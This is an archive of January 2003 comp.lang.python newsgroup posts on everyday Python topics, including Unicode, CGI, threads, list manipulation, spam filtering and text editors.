From: webmaster at watchtowerDOTorg.pl (=?ISO-8859-2?Q?Jaros=B3aw_Zabie=B3=B3o?=)
Date: Wed, 15 Jan 2003 02:05:00 +0100
Subject: re module & problem with utf-8
References: <re792v4c5id95lj4e3hjakg9vr22e3cvri@4ax.com> <mailman.1042588945.18238.python-list@python.org>
Message-ID: <atc92vg42mrra5629o1p9n24g92j8ri30g@4ax.com>

On Tue, 14 Jan 2003 16:05:42 -0800, Brian Quinlan <brian at sweetapp.com>
wrote:

>When a type is specified as "Unicode" in Python, it doesn't mean UTF-8
>or any other encoded string, it really means a Unicode object.

Thanx for help

--
JZ



From aleax at aleax.it  Wed Jan 29 06:19:00 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 11:19:00 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com> <mailman.1043804455.2703.python-list@python.org>
Message-ID: <EMOZ9.99217$0v.2876590@news1.tin.it>

Mongryong wrote:

> Does the language really matter?  If you have a poor design, and your
> team consists of hackers, it really doesn't matter what language you
> use, it'll eventually end up a big mess.

Yes, the language really DOES matter -- although it's not the ONLY
thing that matters, of course, not by a long shot.  Analogy...:

"If your national entry to the Olympics 4x100m Relay Race consists
of four couch potatoes, it really doesn't matter what shoes you use, 
it'll come in last".  True: obviously, if you want your nation to
stand any chance for a medal in such competition, the team _must_
consist of well-trained athletes.  But it would be the height of
madness to jump from this to wondering whether shoes really matter:
having your team run in hobnailed boots, or furry slippers, would
STILL be more or less a guarantee of defeat, if the other teams are
being more sensible about shoe choice.


> In conclusion, the tools are only as good as the people who use them :)

Again, this is like saying that shoes only run as fast as the
people who wear them.  True, but it DOESN'T follow, by any means,
that choosing the most appropriate kind of shoes isn't important.


Alex




From zhitenev at cs.vsu.ru  Sun Jan  5 08:05:36 2003
From: zhitenev at cs.vsu.ru (Lexy Zhitenev)
Date: Sun, 5 Jan 2003 16:05:36 +0300
Subject: date time arithmatic
References: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147>
Message-ID: <av9aj0$1lno$1@serv.vrn.ru>

> Put simply I would like to determine the number of
> days between now() and some date in the past.
>
> E.g. now() - someCall(2002,9,2,0,0) = 126 days
>
> This seems possible in 2.3 alpha, but not in 2.2 (readily).
>
> Looking for pointers please?
>

If the dates you operate on are in the Unix Epoch (1970 - 2038), you can use
"time.mktime" function.

>>> import time
>>> def now(d, m, y):
...          return int(time.mktime(d, m, y, 0, 0, 0, 0, 0, 0) / 86400) #
86400 - number of seconds passed since 1970/1/1.

So if you want to count the number of days between to dates use "now(2003,
1, 5)-now(1982, 5, 23)"

Lexy zhitenev at cs.vsu.ru







From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 20:42:45 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 17:42:45 -0800
Subject: Automating Web Interfaces with Python
References: <v28nvk9q8aav9e@corp.supernews.com> <v292chiu02uhe9@corp.supernews.com>
Message-ID: <7xr8bf6ve2.fsf@ruckus.brouhaha.com>

"Christian Reyes" <creyes at ea.com> writes:
> Sorry, I should have been more specific in my question.
> More specifically what I'm trying to do is create an automated test harness
> for an enterprise weblogic server application.  I'm attempting to automate
> the front end web-interfaces which are all jsp pages.  I want a module that
> will let me populate and submit data as well as read for success and failure
> responses from the jsps.

You mean you want to write a web robot?  Try the urllib or urllib2
modules.  



From rolfedh at hotmail.com  Tue Jan 28 17:15:46 2003
From: rolfedh at hotmail.com (Rolfe)
Date: 28 Jan 2003 14:15:46 -0800
Subject: Novice question: Implementing COM Objects with Python
Message-ID: <cfd500a9.0301281415.7436900@posting.google.com>

I'm trying the code (see further down) from Mark Hammonds Python
Programming on Win32, page 68, and get the following error:
"Traceback (most recent call last):
  File "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\Python22\examples\SimpleCOMServer.py", line 4, in ?
    class PythonUtilities:
  File "C:\Python22\examples\SimpleCOMServer.py", line 8, in
PythonUtilities
    print pythoncom.CreateGuid()
NameError: name 'pythoncom' is not defined
>>> 
"

What am I doing wrong? 

Code:
"
##SimpleCOMServer.py - a sample com server
##
##we expose a single method in a python com object
class PythonUtilities:
    _public_methods_ = [ 'SplitString' ]
    _reg_progid_ = "PythonDemos.Utilities"
    #NEVER copy the following ID
    print pythoncom.CreateGuid()
    #_reg_clsid_ = print.pythoncom.CreateGuid()

    def SplitString(self, val, item=None):
        import string
        if item != None: item = str(item)
        return string.split(str(val), item)

#add code so that when this script is run by
#python.exe, it self-registers.
if __name__=='__main__':
    print "Registering Com server.."
    import win32com.server.register
    win32com.server.register.UseCommandLine(PythonUtilities)
"



From peter at engcorp.com  Fri Jan 24 22:17:14 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 22:17:14 -0500
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <v339gg9p1rlb3e@news.supernews.com> <b0sbn3$rk3$1@bob.news.rcn.net> <3E31BACB.EA3D8CDA@engcorp.com> <b0smsl$ti$2@bob.news.rcn.net>
Message-ID: <3E3201BA.BB87EA3@engcorp.com>

"Aaron K. Johnson" wrote:
> 
> In message <3E31BACB.EA3D8CDA at engcorp.com>, Peter Hansen wrote:
> > "Aaron K. Johnson" wrote:
> > >
> > > In message <v339gg9p1rlb3e at news.supernews.com>, "John Roth" wrote:
> > > >
> > > > I don't understand. Number of unique posters in the last 200 posts to a
> > > > newsgroup I understand,
> > > > and 647 to the (one) Python newsgroup I understand, but I don't
> > > > understand how you get
> > > > 647 different posters out of the last 200 posts.
> > > >
> > > > Oh, and Clipper is an old data base language, somewhere in the dbase
> > > > family.
> > >
> > > oops, sorry....I meant 2000!
> >
> > So, among other problems, this means if a given newsgroup had a single
> > large thread with a half-dozen regulars posting ten times each in a
> > big argument, that particular language would appear less popular...
> >
> > -Peter
> 
> Peter,
> 
> Each poster is counted only once.

I understand that most basic point.  Let me try out an example
to help clarify *my point*.

There are 2000 posts retrieved from comp.lang.noisy.  There is 
a recent thread involving five people who each contributed 201
messages.  That means 1000 of those 2000 messages are eliminated
instantly by your filtering of non-unique posters.  That leaves
only 1000 posts from which to measure the number of unique
authors, aside from these prolific five.

Does that help?  The comments about needing to examine across
a fixed duration are probably reasonable...

-Peter



From imbosol at vt.edu  Thu Jan  9 14:14:58 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 09 Jan 2003 19:14:58 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08>
Message-ID: <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>

Steve Holden wrote:
> I wouldn't be at all surprised if he considered himself better at writing
> Python. I'd be surprised if he were right, though.
> 
> Afanasiy: to write '''If the "pythonic world-view" is that code which would
> look better with implicit self is "poor implementation"''' and '''My design
> is perfect.''', and then complain about condescending attitudes strikes me
> as the pot calling the kettle black. 

I really don't see it.

If I asked a question about how to get rid of self, and was told that
self is necessary because code without self makes a poor
implementation, I would say the same thing, because it's a damn petty
excuse to refuse to answer the question.  That's not why Python uses
self, and it's flatly wrong.

And when he said, "My design is perfect," he was being sarcastic, and
was mocking Andrew Dalke's attitude.

What I do see is a presumptuous attitude from some of the reponders;
maybe not condescending, but definitely presumptuous.


> You asked a question, and you got answers.

He got unwanted answers to a question he didn't ask.

I understand this happens, and that a lot of people appreciate it.  I
do it myself.  But what I didn't like at all was the way some of the
posters continued to try to answer the question Afanasiy didn't ask,
even when it was clear he wasn't interested in the answer (e.g. Andrew
Bennett's "why don't you post some more code so we can help you
realize why you don't need self" attitude).


> You may not have liked the tone, but since you can only *interpret*
> its meaning it usually doesn't do you much good to complain about newsgroup
> modes of expression. Or, more shortly: "get over it!".

I agree, it is better to ignore well-meaning but presumptuous people.
Afanasiy could have avoided this whole mess just by ignoring the first
responder.


> This is actually quite a friendly group (certainly there are many others
> where you would experience much greater hostility). Try not to interpret
> comments as condescending: they usually aren't. I guess you may wish to make
> an exception of this message :-), though I am actually trying to pur oil on
> troubled waters.

I agree this is a friendly newsgroup, and this kind of thing happens a
lot less than it happens elsewhere.  I had an experience similar to
Afanasiy's on another newsgroup.  I understand that responders will
sometimes will sometimes be presumptuous, however, one particular
poster reeked of it so bad that I lost my cool and let him know it
curtly.  I regret the way I handled it today; I could and should have
been politer, and probably should have used email.

So I sympathize with Afanasiy here.  It can be quite irritating to ask
a question, and have someone second guess you for even asking.  And it
can be very nauseating when that person treats you as if you actually
did ask the question you didn't ask.

Because of this, I try very hard to avoid a presumptuous attitude when
answering questions, and I would like to request others try to as
well.  Specifically, I would request that everyone always respect the
poster's original question.  Replies like, "why are you doing it that
way, you should do it this way," without any regard to the actual
question, I find very rude.

Whenever I want to offer alternatives, I'll usually answer the
original question, if I know the answer, and then offer alternatives.
If I don't know the answer, I'll say I don't know it.  Sometimes, if
it's really a bad idea, I'll offer to answer it if the poster really
wants, but highly suggest a something else.  (And if the poster comes
back saying, "thanks but no thanks," I'll give him the answer.)  But,
no matter what, I try to always acknowledge the question.

I think this newsgroup mostly does a good job of that.


-- 
CARL BANKS



From dsegan at STOPSPAM.gmx.net  Tue Jan 14 10:34:46 2003
From: dsegan at STOPSPAM.gmx.net (=?windows-1252?Q?Danilo_=8Aegan?=)
Date: Tue, 14 Jan 2003 16:34:46 +0100
Subject: Python for CGI is dead?
References: <cb035744.0301120614.3b19d223@posting.google.com> <3E21B850.9020304@tc.umn.edu>
Message-ID: <b01b7e$fqq$1@terra.news.tehnicom.net>

Warning: I'm discussing the CGI and performance issue, so anyone not 
interested feel free to skip this. It's a bit "theoretical".

Michael Urban wrote:
 > I would argue that CGI itself is dead. Or at least it should be. It's
 > an outdated technology that is a huge performance hit on the server.
 >
I'd have to disagree with the statement that CGI is dead. It's only an 
interface, a communication layer, and as such, is very useful.

As it is commonly used and implemented in the general case, I'd agree 
with the second part.

 > However, mod_python is very much alive (embed Python interpretor into
 > Apache to avoid starting a new copy of the interpretor each time
 > the script it run).
 >
To argument my previos claims, surely one can extend Python standard 
module CGIHTTPServer up to the point where "starting a new copy of the 
interpretor" would be unneeded. Of course, CGIHTTPServer is already 
capable of doing so for some cases, but I don't know for sure (I don't 
actually use it). I just mentioned it as an example in support of my 
claim that CGI has nothing to do with the performance hit.

Generality which CGI provides is the advantage of it, so, when I expect 
the load to be great, I'd run my own server and configure it with either 
proposed mod_python, or I'd assemble a server which kept the 
applications running (not just Python, but my application too: that 
would improve performance even more, I suppose).

And what's else, maybe even mod_python uses CGI to communicate data to 
the application.

Regards,




From marklists at mceahern.com  Thu Jan 30 12:08:22 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Thu, 30 Jan 2003 11:08:22 -0600
Subject: Implicit lists
In-Reply-To: <x7bs1y1txx.fsf@guru.mired.org>
Message-ID: <JHEOKEOOLIGLDHCMAHMOOEKCFPAA.marklists@mceahern.com>

[Mike Meyer]
> I always thought that exceptions were expensive. Which makes me wonder
> why you aren't using "isinstance(something, str)" for that first test.

It's always best to test for performance assumptions.  When I run the
following, I get:

  $ junk.py
  aslist_except: 0.12
  aslist_isinstance: 0.22
  .
  ----------------------------------------------------------------------
  Ran 1 tests in 3.182s

  OK

ymmv,

// m

#!/usr/bin/env python

from __future__ import generators
import unittest
from time import clock

def time_it(f, *args):
    time_in = clock()
    result = f(*args)
    time_out = clock()
    return result, time_out - time_in

def aslist_isinstance(item):
    if isinstance(item, (list, tuple)):
        for x in item:
            yield x
    else:
        yield item

def aslist_except(item):
    try:
        item + ''
    except TypeError:
        for x in item:
            yield x
    else:
        yield item

class test(unittest.TestCase):

    def test(self):

        items = (('s', ['s']),
                 (range(10), range(10)),
                 ((1, 2, 3), [1, 2, 3]))

        functions = (aslist_except, aslist_isinstance)
        timing = {}

        count = 10000

        for c in xrange(count):
            for f in functions:
                timing.setdefault(f, 0)
                for item, expected in items:
                    result_iterator, elapsed = time_it(f, item)
                    timing[f] += elapsed
                    result = [x for x in result_iterator]
                    self.assertEquals(result, expected)

        for k, v in timing.items():
            print '%s: %0.2f' % (k.func_name, v)

if __name__ == '__main__':
    unittest.main()

-





From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 06:14:17 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 03:14:17 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com>
Message-ID: <7xbs2kt246.fsf@ruckus.brouhaha.com>

hwlgw at hotmail.com (Will Stuyvesant) writes:
>     <input type=password name=pwd>
> 
> is scary for a user since he sees the pwd appearing in the url the
> browser calls.  This is when you use the GET method (I'd rather not
> use POST, see below).  Is there a way to encrypt a password before
> it is sent?  Maybe completely different HTML?  I know about the
> getpass module but I want the user to be able to only use his browser.

You should stop looking for kludgy workarounds and fix whatever is
wrong with POST.  POST is the right way to deal with this type of thing.
Otherwise the password appears not only in the browser but also in
the server http log.  

Alternatively, instead of submitting a password to a cgi, use HTTP
Basic authentication.  That lowers your UI flexibility a little bit,
but makes the server side programming a little simpler.
 
> - The POST method does only work a first time, when using IE.  After
>   that the server hangs.  I read about a fix (reading LF characters
>   or something) and a solution promised in the next Python 2.3.  But
>   I lost the fix.

You have to consider this a critical bug.  Do whatever it takes to
find a fix or fix it yourself.  There's currently a 2.3 alpha release
out there; maybe you can backport the fix.  Or if necessary, set up an
Apache proxy server in front of your CGIHTTPServer
 
> Could you recommend an easy fix to CGIHTTPServer or recommend a
> small free downloadable CGI server to use on Windows XP.

If you don't want the overhead of Apache, there are a bunch of
smaller servers at www.acme.com.  You might try thttpd or mini_httpd.



From -$P-W$- at verence.demon.co.uk  Tue Jan 14 08:27:49 2003
From: -$P-W$- at verence.demon.co.uk (Paul Wright)
Date: Tue, 14 Jan 2003 13:27:49 +0000 (UTC)
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org>
Message-ID: <b0138l$5t1$1@verence.demon.co.uk>

In article <mailman.1042490665.8620.python-list at python.org>,
Tim Peters  <tim.one at comcast.net> wrote:
>[Paul Wright]
>> <http://www.jerf.org/irights/2002/11/18.html> argues that human malice
>> can and will defeat Bayesian filters, and that widespread adoption of
>> them will end up making spam harder to recognize by hand. 
...
>He's probably right that the way to beat this generation of filters is to
>create spam statistically indistinguishable from ham.  The unknown not
>addressed there is that all forms of advertising are a percentage game, and
>current spam uses (e.g.) ALL CAPS and huge fonts and bright colors because
>those tricks increase response rate.  Spam so bland that it looks like it
>came from your grandmother may not draw a response rate large enough to
>repay the costs of spamming (which, while tiny on a per-msg basis, aren't
>zero).

Indeed. However, I am seeing a lot of "minimalist" spam which is
obviously intended to evade body filtering: usually just a URL and a
hashbuster. I imagine that they're banking on people being curious
enough to click the link. I'm planning on dealing with short spam like
this by looking up the website host IP in blacklists, but it's not quite
enough of a problem to worry about yet.

>> [1] How many boneheaded keyword filters will now bounce this post when
>> it goes out as mail on the python list, I wonder? There's an awful lot
>> of snake oil out there being sold as spam filters.
>
>I received it via the c.l.py mailing list gateway.  My personal spambayes
>filter gave your msg a score of 0.9998 for haminess (0.0 = spam, 1.0 = ham),

Indeed. I don't think the Bayesian stuff is snake oil. However, mailing
list operators often complain about broken filters which seem to operate on
single key phrases (such as "Viagra" or "my pictures") in isolation,
causing legitimate discussion to get filtered. Someone out there is
probably making money selling these filters to big business, alas. See
<http://groups.google.com/groups?selm=ahkddc%24b7a%241%40verence.demon.co.uk>

-- 
Paul Wright | http://pobox.com/~pw201 |



From whisper at oz.net  Tue Jan  7 17:29:23 2003
From: whisper at oz.net (David LeBlanc)
Date: Tue, 7 Jan 2003 14:29:23 -0800
Subject: Python vs .Net
In-Reply-To: <OPEDLDOFHCDKBPBIHMHFOEBCDMAA.wganz@texoma.net>
Message-ID: <GCEDKONBLEFPPADDJCOEGEBLHDAA.whisper@oz.net>

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Will Ganz
> Sent: Monday, January 06, 2003 16:21
> To: Etienne Charland; python-list at python.org
> Subject: RE: Python vs .Net
>
>
> :> I would like to compare Python with .Net.
>
> This shouldn't really be titled 'Python vs. Net' but 'Python and .Net' or
> 'Python with .Net'.
>
> IMHO, there is no simple apples to apples comparison that can be made here
> because '.Net' is a framework for many different coding languages. While
> languages(like Python) would run on top of this and use this framework.
> Albeit, in a Microsoft only world(or until they felt like releasing a *NIX
> framework.) My copy of 'Programming Microsoft Visual Basic .NET' is at the
> office but I can,if you wish, give you a quote that Microsoft is
> prepared to
> release a .Net framework for whatever platform is threatening
> them. How much
> of that is FUD, I cannot say for sure; but John Dvorak said it best when,
> 'You know that Microsoft is serious about a platform when they release a
> version of BASIC for it.'
>
> "The .NET Framework has two main components: the common language
> runtime and
> the .NET Framework class library."
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/c
> pguide/html/cpovrintroductiontonetframeworksdk.asp
>
> Please check this link for VisualPython:
>
> http://www.activestate.com/Products/Visual_Python/
>
> HTH

I'm not sure how .net is anything more then an attempt on MS' part to co-opt
xml technologies and at the same time more completely tie developers to it's
platform?

AFAICT, Visual Python was a technology demonstrator and not a serious
attempt to host Python on the .net runtime...

I would expect Microsoft to release a *nix .net framework shortly after the
perfection of porcine avionics :)

Dave LeBlanc
Seattle, WA USA





From mark at mceahern.com  Tue Jan  7 16:30:07 2003
From: mark at mceahern.com (Mark McEahern)
Date: Tue, 7 Jan 2003 15:30:07 -0600
Subject: moving items in a list
Message-ID: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com>

Below is some code and unit tests to demonstrate how I'm moving items in a
list.  It works, but I'm sure I'll learn a lot by any feedback you care to
offer.

Cheers,

// m

#!/usr/bin/env python

"""
move 'up' means move the item once towards the first item.

move 'down' means move the item once towards the last item.
"""

import unittest

def move_up(l, m):
    """Move items in m found in l up one position."""
    for i in range(len(l)):
        if i == 0:
            continue
        item = l[i]
        if item not in m:
            continue
        j = i - 1
        swap_with = l[j]
        l[i] = swap_with
        l[j] = item

def move_down(l, m):
    """Move items in m found in l down one position."""
    for i in range(len(l) - 1, 0, -1):
        if i == len(l) - 1:
            continue
        item = l[i]
        if item not in m:
            continue
        j = i + 1
        swap_with = l[j]
        l[i] = swap_with
        l[j] = item

class test(unittest.TestCase):

    def test_move_up(self):
        l = range(10)
        m = [4, 5]
        move_up(l, m)
        expected = [0, 1, 2, 4, 5, 3, 6, 7, 8, 9]
        self.assertEquals(l, expected)

        l = range(10)
        m = [0]
        move_up(l, m)
        expected = range(10)
        self.assertEquals(l, expected)

        l = range(10)
        m = [1, 3, 5, 7, 9]
        move_up(l, m)
        expected = [1, 0, 3, 2, 5, 4, 7, 6, 9, 8]
        self.assertEquals(l, expected)

    def test_move_down(self):
        l = range(10)
        m = [4, 5]
        move_down(l, m)
        expected = [0, 1, 2, 3, 6, 4, 5, 7, 8, 9]
        self.assertEquals(l, expected)

        l = range(10)
        m = [9]
        move_down(l, m)
        expected = range(10)
        self.assertEquals(l, expected)

        l = range(10)
        m = [1, 3, 5, 7, 9]
        move_down(l, m)
        expected = [0, 2, 1, 4, 3, 6, 5, 8, 7, 9]
        self.assertEquals(l, expected)

if __name__ == '__main__':
    unittest.main()

-





From SBrunning at trisystems.co.uk  Thu Jan 30 06:18:47 2003
From: SBrunning at trisystems.co.uk (Simon Brunning)
Date: Thu, 30 Jan 2003 11:18:47 -0000
Subject: [Q] Customizable text editor based on Python? 
Message-ID: <31575A892FF6D1118F5800600846864D012004AD@intrepid>

> From:	eRrEiMcOgVoErMrE at cox.net [SMTP:eRrEiMcOgVoErMrE at cox.net]
> I was wondering if people could point me to a text editor which can be
> extended using Python, similar to how Emacs can be extended via LISP and
> Alpha can be extended via TCL/TK.
 
jEdit <http://www.jedit.org/> with JythonInterpreter plugin
<http://plugins.jedit.org/plugins/?JythonInterpreter>. Example macros here -
<http://www.rutherfurd.net/jEdit/macros/index.html>.

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.




From hancock at anansispaceworks.com  Wed Jan 15 15:14:49 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 15 Jan 2003 20:14:49 GMT
Subject: Efficiency: list or tuple?
References: <b045v9$79k$1@news.efn.org>
Message-ID: <ZijV9.11992$Qr4.1186792@newsread1.prod.itd.earthlink.net>

Spencer Ernest Doidge wrote:
> I'm interested in putting pairs of integers and floats into a sequence
> of indeterminate length.
> I'm collecting this data in real time, and I want to use the most
> efficient available method so as to be able to gather data as fast as
> possible and append it to the sequence as I go.
> As far as I can tell, I have lists and tuples to choose from.
> Does either of these structures work better in this situation, or is
> there some other way I don't know about?

You almost certainly want a list of tuples.

Tuples are useful for fixed-size representations of ordered data with 
minimum overhead, while lists are good for indeterminate length data, 
especially if it might have to be reorganized or altered in place.

In some cases, you might want a list of class instances rather than tuples. 
Class instances can have named data (and of course, methods) associated 
with them, which can be useful. But that's much more overhead than using a 
tuple, so it really depends on your application.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From adalke at mindspring.com  Thu Jan 16 00:12:16 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 15 Jan 2003 22:12:16 -0700
Subject: Ignoring incorrect XML encoding declarations
In-Reply-To: <b04roj$lif9o$1@ID-174764.news.dfncis.de>
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de>
Message-ID: <b05ev9$2so$1@slb3.atl.mindspring.net>

Peter Scott wrote:
> I have an XML file which I'm trying to parse with xml.sax, but, for 
> reasons beyond my control, it uses the UTF-8 character encoding but has 
> this incorrect line at the beginning:
> <?xml version="1.0" encoding="UTF-16"?>

I had a data stream which was Latin-1 but didn't specify
the encoding.  I fixed it using


import codecs
   ...
      infile = codecs.EncodedFile(infile, "utf-8", "iso-8859-1")


					Andrew
					dalke at dalkescientific.com




From rich at worldsinfinite.com  Fri Jan 24 12:09:42 2003
From: rich at worldsinfinite.com (Rich Harkins)
Date: 24 Jan 2003 12:09:42 -0500
Subject: killing thread ?
In-Reply-To: <15921.28591.698102.989195@montanaro.dyndns.org>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
	<mailman.1043410542.25830.python-list@python.org>
	<b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com>
	<7x3cni1sqp.fsf@ruckus.brouhaha.com> <b0rmru$6hb$04$1@news.t-online.com>
	<7xn0lqbkmh.fsf@ruckus.brouhaha.com> <3E31666F.8060605@v.loewis.de>
	<7xy95azf09.fsf@ruckus.brouhaha.com> 
	<15921.28591.698102.989195@montanaro.dyndns.org>
Message-ID: <1043428183.1227.6.camel@rich-laptop>

On Fri, 2003-01-24 at 11:54, Skip Montanaro wrote:
> 
>     Paul>     [phr at localhost]$ kill -l
> 
>     ...
> 
>     Paul> Pick one of the unused ones from the above (probably from the
>     Paul> 33-61 range).
> 
> My MacOSX system only goes up as high as 31 (SIGUSR2).  Is calling kill(47)
> going to be defined?
> 
> Skip
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 

Sadly, the only way to actually accomplish this in a cross-platform way
(AFAIK) is to route ALL blocking calls through select/poll (or
equivilent) and maintain a tickler UDP socket that is merged with any
pending reads so that a kill can force thread wakeup by sending through
the tickler.  It's messy, doesn't stop the infinite loop case, difficult
to do right, and can kill performance -- but it's not impossible.  

BTW, is this what Java did for a while back in the 1.0 days?  I seem to
recall it claiming to be able to kill threads and I always wondered
how.  I notice that Java no longer implies that killing a thread is
possible or safe anymore.

Rich






From gerhard.haering at gmx.de  Fri Jan 10 12:06:32 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 10 Jan 2003 17:06:32 GMT
Subject: telnetlib
References: <mailman.1042211659.514.python-list@python.org>
Message-ID: <slrnb1tvcn.1f7.gerhard.haering@lilith.my-fqdn.de>

Dickerson, Dee wrote:
> Below is telnet code that I am trying to get going.  I am going from
> a Windows2000 machine to a Redhat Linux machine; the ls command will
> not run as I can tell; it does not return any output.

The code looks reasonably to me.

To be able to debug this further, I'd recommend you use
set_debuglevel(1) on the telnet object.

[snip 216 lines of HTML]

and please don't post HTML.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From andersjm at inbound.dk  Sun Jan 26 12:51:15 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Sun, 26 Jan 2003 18:51:15 +0100
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com> <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com> <3E33EC7A.9080900@v.loewis.de> <t4t73vc63vo2kuf5p5t4ao4cdmng7p2387@4ax.com>
Message-ID: <GfVY9.45907$Hl6.5531344@news010.worldonline.dk>

"Rene Pijlman" <reageer.in at de.nieuwsgroep> wrote:
> accentstable = string.join(map(chr, range(192)), "") +
> "AAAAAAACEEEEIIIIDNOOOOOxOUUUUYpBaaaaaaaceeeeiiiionooooo/ouuuuypy"
>
> This also maps some funny characters which are not just accented
> letters,

Among other things you map Icelandic thorn to p.
You may want to reconsider that.

>but in this way it's all ASCII that I can post on
> Usenet.

You can post latin-1 just fine.  At least your headers seem to think so:

>Content-Type: text/plain; charset=ISO-8859-1
>Content-Transfer-Encoding: 8bit

- Anders






From toni at soth.at  Sun Jan 19 13:28:26 2003
From: toni at soth.at (Toni Andjelkovic)
Date: 19 Jan 2003 18:28:26 GMT
Subject: HTTPS Server
References: <avu4qn$md3$1@newsreader1.netway.at> <slrnb2k2t5.em5.toni@outpost.soth.at> <DxwW9.21446$YG2.637142@twister1.libero.it>
Message-ID: <slrnb2lrn7.em5.toni@outpost.soth.at>

In article <DxwW9.21446$YG2.637142 at twister1.libero.it>, Giorgio Zoppi wrote:
> Toni Andjelkovic wrote:
>> In article <avu4qn$md3$1 at newsreader1.netway.at>, Sergio Lobo wrote:
>>> I am looking for a way to change my simple HTTP Server into a HTTPS
>>> server. My project is being developed using Jython.
>> 
>> Consider using stunnel: http://stunnel.mirt.net/.
> 
> Consider PureTLS, or OpenSSL binding.
> http://sf.net/projects/pow

stunnel should work transparently for the application, so that
no coding is necessary.

However, in the case of a network server, it could be rewritten
for Twisted (http://twistedmatrix.com/), which offers SSL/TLS
support built on top of pyOpenSSL.

Cheers,
-- 
Toni Andjelkovic
<toni at soth.at>




From knightsofspamalot-factotum at gvdnet.dk  Fri Jan  3 14:00:25 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 03 Jan 2003 20:00:25 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>
 <slrnb19use.h00.grey@teleute.dmiyu.org>
 <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com>
 <av4hmu$ir6$1@ins22.netins.net>
Message-ID: <874r8qawja.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Mike" == Mike Dean <klaatu at evertek.net> writes:
Mike> I downloaded Vim two or three years ago, my first experience
Mike> with a vi-based editor.  I went through its tutorial (took me
Mike> less than an hour), and was immediatly able to perform simple
Mike> text-manipulation tasks.

Yes, that tutorial is very good.

Mike> On the other hand, I decided that I should give Emacs a serious
Mike> shot.  Since a lot of people seem to like it, I figured that
Mike> there must be something there worth looking at (and I had read
Mike> about ELSE, which I still wish I could implement for Vim).  So I
Mike> went through the tutorial.  Took me an hour, and I couldn't
Mike> remember a line of it (well, I remembered a couple of the cursor
Mike> movement commands).

After reading your post I decided to check out the tutorial again,
which I haven't seen for years beyond rememberence (like, 3 or 4 or
something :-)). I was ready to reprimand you for beind a bloody luser,
but I find that you're right to some extent: the tutorial is full of
cursor movement commands that are better deferred until later. The
arrow keys, Pg{Up,Dn}, Home and End etc. are good enough that it's not
worth the intimidation of spending so much time on them. But these can
be skipped because Emacs navigation works _as you'd expect_. If I
hadn't had my mental filters in place, and if I hadn't been used to
acquiring new computer skills quickly, I'd had had the same problems
with the Vim tutorial, although I will concede that it's probably
better than the Emacs one. However, for a neophyte I'd still say that
Emacs would be easier to learn because it works more similarly to
everything else, but the hassles of the first few weeks are
insignificant compare to the power of the Force^W^W^W^Wbenefits of
long term use.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
